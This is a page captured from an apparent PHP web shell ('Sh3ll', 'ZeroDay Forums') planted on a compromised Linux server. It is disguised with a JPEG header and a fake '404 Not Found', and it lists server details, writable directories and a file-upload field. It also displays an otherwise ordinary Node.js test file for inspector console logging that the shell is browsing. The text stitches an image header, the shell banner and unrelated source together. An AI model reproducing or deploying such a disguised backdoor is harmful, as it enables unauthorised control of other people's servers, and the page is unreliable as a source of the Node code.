����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/test/sequential/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/test/sequential/test-inspector-overwrite-config.js
// Flags: --require ./test/fixtures/overwrite-config-preload-module.js
'use strict';

// This test ensures that overwriting a process configuration
// value does not affect code in lib/internal/bootstrap/node.js.
// Specifically this tests
// that the inspector console functions are bound even though
// overwrite-config-preload-module.js overwrote the process.config variable.

// We cannot do a check for the inspector because the configuration variables
// were reset/removed by overwrite-config-preload-module.js.
/* eslint-disable node-core/inspector-check */

const common = require('../common');
const assert = require('assert');

if (!common.isMainThread)
  common.skip('--require does not work with Workers');

const inspector = require('inspector');
const msg = 'Test inspector logging';
let asserted = false;

async function testConsoleLog() {
  const session = new inspector.Session();
  session.connect();
  session.on('inspectorNotification', (data) => {
    if (data.method === 'Runtime.consoleAPICalled') {
      assert.strictEqual(data.params.args.length, 1);
      assert.strictEqual(data.params.args[0].value, msg);
      asserted = true;
    }
  });
  session.post('Runtime.enable');
  console.log(msg);
  session.disconnect();
}

async function runTests() {
  await testConsoleLog();
  assert.ok(asserted, 'log statement did not reach the inspector');
}

runTests();

ZeroDay Forums Mini